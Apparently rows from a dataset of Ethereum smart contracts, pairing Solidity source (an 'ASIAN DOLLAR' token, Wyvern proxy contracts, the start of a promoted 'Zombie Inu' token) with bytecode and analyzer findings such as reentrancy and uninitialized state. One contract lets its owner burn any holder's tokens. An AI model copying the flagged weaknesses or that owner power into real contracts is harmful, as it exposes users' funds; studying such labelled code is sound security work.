5b6020821081036115de576115dd611584565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611640602983611237565b915061164b826115e4565b604082019050919050565b6000602082019050818103600083015261166f81611633565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116b08261134a565b91506116bb8361134a565b9250828210156116ce576116cd611676565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061170f602083611237565b915061171a826116d9565b602082019050919050565b6000602082019050818103600083015261173e81611702565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117a1602683611237565b91506117ac82611745565b604082019050919050565b600060208201905081810360008301526117d081611794565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611833602483611237565b915061183e826117d7565b604082019050919050565b6000602082019050818103600083015261186281611826565b9050919050565b60006118748261134a565b915061187f8361134a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b4576118b3611676565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118f98261134a565b91506119048361134a565b925082611914576119136118bf565b5b828204905092915050565b600061192a8261134a565b91506119358361134a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561196e5761196d611676565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119e68161131e565b92915050565b600060208284031215611a0257611a016112e7565b5b6000611a10848285016119d7565b91505092915050565b6000819050919050565b6000611a3e611a39611a3484611a19565b61150a565b61134a565b9050919050565b611a4e81611a23565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a898161130c565b82525050565b6000611a9b8383611a80565b60208301905092915050565b6000602082019050919050565b6000611abf82611a54565b611ac98185611a5f565b9350611ad483611a70565b8060005b83811015611b05578151611aec8882611a8f565b9750611af783611aa7565b925050600181019050611ad8565b5085935050505092915050565b600060a082019050611b2760008301886113f6565b611b346020830187611a45565b8181036040830152611b468186611ab4565b9050611b556060830185611473565b611b6260808301846113f6565b969550505050505056fea26469706673582212204669afc542f349e0ffa1b4aad20e88f42e00d87b4abe84b9fa2fae2796a2a97764736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,228
0xc47c09b2e57562c8460b8b3d4f305a33ef6645ed
pragma solidity ^0.6.10; // SPDX-License-Identifier: UNLICENSED /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _name = 'ASIAN DOLLAR'; _symbol = 'AUSD'; _decimals = 18; } /** * @return the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view override returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view override returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public virtual override returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public virtual override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Token-contracts/ERC20.sol contract ASIANDOLLAR is ERC20, Ownable { constructor () public ERC20 () { _mint(msg.sender,1000000e18); } /** * @dev Mint new tokens, increasing the total supply and balance of "account" * Can only be called by the current owner. */ function mint(address account, uint256 value) public onlyOwner { _mint(account, value); } /** * @dev Burns token balance in "account" and decrease totalsupply of token * Can only be called by the current owner. */ function burn(address account, uint256 value) public onlyOwner { _burn(account, value); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610310578063a9059cbb1461033c578063dd62ed3e14610368578063f2fde38b1461039657610100565b8063715018a6146102b05780638da5cb5b146102b857806395d89b41146102dc5780639dc29fac146102e457610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806340c10f191461025c57806370a082311461028a57610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d6103bc565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b038135169060200135610452565b604080519115158252519081900360200190f35b6101ca6104ce565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b038135811691602081013590911690604001356104d4565b61021a610597565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356105a0565b6102886004803603604081101561027257600080fd5b506001600160a01b038135169060200135610648565b005b6101ca600480360360208110156102a057600080fd5b50356001600160a01b03166106b3565b6102886106ce565b6102c061077b565b604080516001600160a01b039092168252519081900360200190f35b61010d61078f565b610288600480360360408110156102fa57600080fd5b506001600160a01b0381351690602001356107f0565b6101ae6004803603604081101561032657600080fd5b506001600160a01b038135169060200135610857565b6101ae6004803603604081101561035257600080fd5b506001600160a01b03813516906020013561089a565b6101ca6004803603604081101561037e57600080fd5b506001600160a01b03813581169160200135166108b0565b610288600480360360208110156103ac57600080fd5b50356001600160a01b03166108db565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b60006001600160a01b03831661046757600080fd5b3360008181526001602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6001600160a01b038316600090815260016020908152604080832033845290915281205461050290836109fd565b6001600160a01b0385166000908152600160209081526040808320338452909152902055610531848484610a12565b6001600160a01b0384166000818152600160209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60055460ff1690565b60006001600160a01b0383166105b557600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105e390836109e4565b3360008181526001602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b610650610ad1565b60055461010090046001600160a01b039081169116146106a5576040805162461bcd60e51b81526020600482018190526024820152600080516020610c33833981519152604482015290519081900360640190fd5b6106af8282610ad5565b5050565b6001600160a01b031660009081526020819052604090205490565b6106d6610ad1565b60055461010090046001600160a01b0390811691161461072b576040805162461bcd60e51b81526020600482018190526024820152600080516020610c33833981519152604482015290519081900360640190fd5b60055460405160009161010090046001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a360058054610100600160a81b0319169055565b60055461010090046001600160a01b031690565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104485780601f1061041d57610100808354040283529160200191610448565b6107f8610ad1565b60055461010090046001600160a01b0390811691161461084d576040805162461bcd60e51b81526020600482018190526024820152600080516020610c33833981519152604482015290519081900360640190fd5b6106af8282610b71565b60006001600160a01b03831661086c57600080fd5b3360009081526001602090815260408083206001600160a01b03871684529091529020546105e390836109fd565b60006108a7338484610a12565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108e3610ad1565b60055461010090046001600160a01b03908116911614610938576040805162461bcd60e51b81526020600482018190526024820152600080516020610c33833981519152604482015290519081900360640190fd5b6001600160a01b03811661097d5760405162461bcd60e51b8152600401808060200182810382526026815260200180610c0d6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000828201838110156109f657600080fd5b9392505050565b600082821115610a0c57600080fd5b50900390565b6001600160a01b038216610a2557600080fd5b6001600160a01b038316600090815260208190526040902054610a4890826109fd565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a7790826109e4565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b3390565b6001600160a01b038216610ae857600080fd5b600254610af590826109e4565b6002556001600160a01b038216600090815260208190526040902054610b1b90826109e4565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038216610b8457600080fd5b600254610b9190826109fd565b6002556001600160a01b038216600090815260208190526040902054610bb790826109fd565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a2646970667358221220632f43829ca99ef013e5f2377c978a271abb37597492c4fe775e96930cf1a03d64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,229
0xe5c783ee536cf5e63e792988335c4255169be4e1
pragma solidity ^0.4.13; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract TokenRecipient { event ReceivedEther(address indexed sender, uint amount); event ReceivedTokens(address indexed from, uint256 value, address indexed token, bytes extraData); /** * @dev Receive tokens and generate a log event * @param from Address from which to transfer tokens * @param value Amount of tokens to transfer * @param token Address of token * @param extraData Additional data to log */ function receiveApproval(address from, uint256 value, address token, bytes extraData) public { ERC20 t = ERC20(token); require(t.transferFrom(from, this, value)); emit ReceivedTokens(from, value, token, extraData); } /** * @dev Receive Ether and generate a log event */ function () payable public { emit ReceivedEther(msg.sender, msg.value); } } contract ProxyRegistry is Ownable { /* DelegateProxy implementation contract. Must be initialized. */ address public delegateProxyImplementation; /* Authenticated proxies by user. */ mapping(address => OwnableDelegateProxy) public proxies; /* Contracts pending access. */ mapping(address => uint) public pending; /* Contracts allowed to call those proxies. */ mapping(address => bool) public contracts; /* Delay period for adding an authenticated contract. This mitigates a particular class of potential attack on the Wyvern DAO (which owns this registry) - if at any point the value of assets held by proxy contracts exceeded the value of half the WYV supply (votes in the DAO), a malicious but rational attacker could buy half the Wyvern and grant themselves access to all the proxy contracts. A delay period renders this attack nonthreatening - given two weeks, if that happened, users would have plenty of time to notice and transfer their assets. */ uint public DELAY_PERIOD = 2 weeks; /** * Start the process to enable access for specified contract. Subject to delay period. * * @dev ProxyRegistry owner only * @param addr Address to which to grant permissions */ function startGrantAuthentication (address addr) public onlyOwner { require(!contracts[addr] && pending[addr] == 0); pending[addr] = now; } /** * End the process to nable access for specified contract after delay period has passed. * * @dev ProxyRegistry owner only * @param addr Address to which to grant permissions */ function endGrantAuthentication (address addr) public onlyOwner { require(!contracts[addr] && pending[addr] != 0 && ((pending[addr] + DELAY_PERIOD) < now)); pending[addr] = 0; contracts[addr] = true; } /** * Revoke access for specified contract. Can be done instantly. * * @dev ProxyRegistry owner only * @param addr Address of which to revoke permissions */ function revokeAuthentication (address addr) public onlyOwner { contracts[addr] = false; } /** * Register a proxy contract with this registry * * @dev Must be called by the user which the proxy is for, creates a new AuthenticatedProxy * @return New AuthenticatedProxy contract */ function registerProxy() public returns (OwnableDelegateProxy proxy) { require(proxies[msg.sender] == address(0)); proxy = new OwnableDelegateProxy(msg.sender, delegateProxyImplementation, abi.encodeWithSignature("initialize(address,address)", msg.sender, address(this))); proxies[msg.sender] = proxy; return proxy; } } contract TokenTransferProxy { /* Authentication registry. */ ProxyRegistry public registry; /** * Call ERC20 `transferFrom` * * @dev Authenticated contract only * @param token ERC20 token address * @param from From address * @param to To address * @param amount Transfer amount */ function transferFrom(address token, address from, address to, uint amount) public returns (bool) { require(registry.contracts(msg.sender)); return ERC20(token).transferFrom(from, to, amount); } } contract WyvernTokenTransferProxy is TokenTransferProxy { constructor (ProxyRegistry registryAddr) public { registry = registryAddr; } } contract OwnedUpgradeabilityStorage { // Current implementation address internal _implementation; // Owner of the contract address private _upgradeabilityOwner; /** * @dev Tells the address of the owner * @return the address of the owner */ function upgradeabilityOwner() public view returns (address) { return _upgradeabilityOwner; } /** * @dev Sets the address of the owner */ function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal { _upgradeabilityOwner = newUpgradeabilityOwner; } /** * @dev Tells the address of the current implementation * @return address of the current implementation */ function implementation() public view returns (address) { return _implementation; } /** * @dev Tells the proxy type (EIP 897) * @return Proxy type, 2 for forwarding proxy */ function proxyType() public pure returns (uint256 proxyTypeId) { return 2; } } contract AuthenticatedProxy is TokenRecipient, OwnedUpgradeabilityStorage { /* Whether initialized. */ bool initialized = false; /* Address which owns this proxy. */ address public user; /* Associated registry with contract authentication information. */ ProxyRegistry public registry; /* Whether access has been revoked. */ bool public revoked; /* Delegate call could be used to atomically transfer multiple assets owned by the proxy contract with one order. */ enum HowToCall { Call, DelegateCall } /* Event fired when the proxy access is revoked or unrevoked. */ event Revoked(bool revoked); /** * Initialize an AuthenticatedProxy * * @param addrUser Address of user on whose behalf this proxy will act * @param addrRegistry Address of ProxyRegistry contract which will manage this proxy */ function initialize (address addrUser, ProxyRegistry addrRegistry) public { require(!initialized); initialized = true; user = addrUser; registry = addrRegistry; } /** * Set the revoked flag (allows a user to revoke ProxyRegistry access) * * @dev Can be called by the user only * @param revoke Whether or not to revoke access */ function setRevoke(bool revoke) public { require(msg.sender == user); revoked = revoke; emit Revoked(revoke); } /** * Execute a message call from the proxy contract * * @dev Can be called by the user, or by a contract authorized by the registry as long as the user has not revoked access * @param dest Address to which the call will be sent * @param howToCall Which kind of call to make * @param calldata Calldata to send * @return Result of the call (success or failure) */ function proxy(address dest, HowToCall howToCall, bytes calldata) public returns (bool result) { require(msg.sender == user || (!revoked && registry.contracts(msg.sender))); if (howToCall == HowToCall.Call) { result = dest.call(calldata); } else if (howToCall == HowToCall.DelegateCall) { result = dest.delegatecall(calldata); } return result; } /** * Execute a message call and assert success * * @dev Same functionality as `proxy`, just asserts the return value * @param dest Address to which the call will be sent * @param howToCall What kind of call to make * @param calldata Calldata to send */ function proxyAssert(address dest, HowToCall howToCall, bytes calldata) public { require(proxy(dest, howToCall, calldata)); } } contract Proxy { /** * @dev Tells the address of the implementation where every call will be delegated. * @return address of the implementation to which it will be delegated */ function implementation() public view returns (address); /** * @dev Tells the type of proxy (EIP 897) * @return Type of proxy, 2 for upgradeable proxy */ function proxyType() public pure returns (uint256 proxyTypeId); /** * @dev Fallback function allowing to perform a delegatecall to the given implementation. * This function will return whatever the implementation call returns */ function () payable public { address _impl = implementation(); require(_impl != address(0)); assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize) let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0) let size := returndatasize returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } contract OwnedUpgradeabilityProxy is Proxy, OwnedUpgradeabilityStorage { /** * @dev Event to show ownership has been transferred * @param previousOwner representing the address of the previous owner * @param newOwner representing the address of the new owner */ event ProxyOwnershipTransferred(address previousOwner, address newOwner); /** * @dev This event will be emitted every time the implementation gets upgraded * @param implementation representing the address of the upgraded implementation */ event Upgraded(address indexed implementation); /** * @dev Upgrades the implementation address * @param implementation representing the address of the new implementation to be set */ function _upgradeTo(address implementation) internal { require(_implementation != implementation); _implementation = implementation; emit Upgraded(implementation); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyProxyOwner() { require(msg.sender == proxyOwner()); _; } /** * @dev Tells the address of the proxy owner * @return the address of the proxy owner */ function proxyOwner() public view returns (address) { return upgradeabilityOwner(); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferProxyOwnership(address newOwner) public onlyProxyOwner { require(newOwner != address(0)); emit ProxyOwnershipTransferred(proxyOwner(), newOwner); setUpgradeabilityOwner(newOwner); } /** * @dev Allows the upgradeability owner to upgrade the current implementation of the proxy. * @param implementation representing the address of the new implementation to be set. */ function upgradeTo(address implementation) public onlyProxyOwner { _upgradeTo(implementation); } /** * @dev Allows the upgradeability owner to upgrade the current implementation of the proxy * and delegatecall the new implementation for initialization. * @param implementation representing the address of the new implementation to be set. * @param data represents the msg.data to bet sent in the low level call. This parameter may include the function * signature of the implementation to be called with the needed payload */ function upgradeToAndCall(address implementation, bytes data) payable public onlyProxyOwner { upgradeTo(implementation); require(address(this).delegatecall(data)); } } contract OwnableDelegateProxy is OwnedUpgradeabilityProxy { constructor(address owner, address initialImplementation, bytes calldata) public { setUpgradeabilityOwner(owner); _upgradeTo(initialImplementation); require(initialImplementation.delegatecall(calldata)); } }
0x60806040526004361061004b5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166315dacbea81146100505780637b103999146100a1575b600080fd5b34801561005c57600080fd5b5061008d73ffffffffffffffffffffffffffffffffffffffff600435811690602435811690604435166064356100df565b604080519115158252519081900360200190f35b3480156100ad57600080fd5b506100b6610241565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b60008054604080517f69dc9ff300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff3381166004830152915191909216916369dc9ff391602480830192602092919082900301818787803b15801561015457600080fd5b505af1158015610168573d6000803e3d6000fd5b505050506040513d602081101561017e57600080fd5b5051151561018b57600080fd5b604080517f23b872dd00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff86811660048301528581166024830152604482018590529151918716916323b872dd916064808201926020929091908290030181600087803b15801561020c57600080fd5b505af1158015610220573d6000803e3d6000fd5b505050506040513d602081101561023657600080fd5b505195945050505050565b60005473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820fac5c881ade4386fe1bf4181a030d87c5296b934315a6800340f7734ac6deb1f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,230
0x80e7fe192709b926b3d6ddef8ff158829f48624e
/** *Submitted for verification at Etherscan.io on 2021-10-25 */ /* $ZINU (ETH) 🧟‍♂️ Launching October 25th Tokenomics Token Name: Zombie Inu Total Supply: 100T w/ 50% Burn at launch Tax 2% Redistribution Rewards 4% Development 4% Marketing ABOUT ZOMBIE INU NFT'S $ZINU NFT’S are 10,000 unique Gen 0 avatars. There are over 200 assets paired with 6 traits, randomly generated on the blockchain. The permutations are endless, resulting in limitless possibilities ranked by their rarity. The cost to mint a $ZINU is 0.08 ETH. Keep a look out for updates in our social media channels! 🧟‍♂️ NFT Presale starting soon 🧟‍♂️ Each NFT will be unique and randomly generated. Over 200 assets will be paired with 6 traits 🧟‍♂️ NFT Giveaways 🧟‍♂️ Community NFT Contests Official Links 🌎 Website: https://zombieinu.io 💬 Telegram: https://t.me/ZombieInuEth 🐣 Twitter: https://twitter.com/zinutoken 💭 Discord: https://discord.gg/T6cjJAQdpr 👾 Reddit: https://www.reddit.com/r/ZombieInu */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return 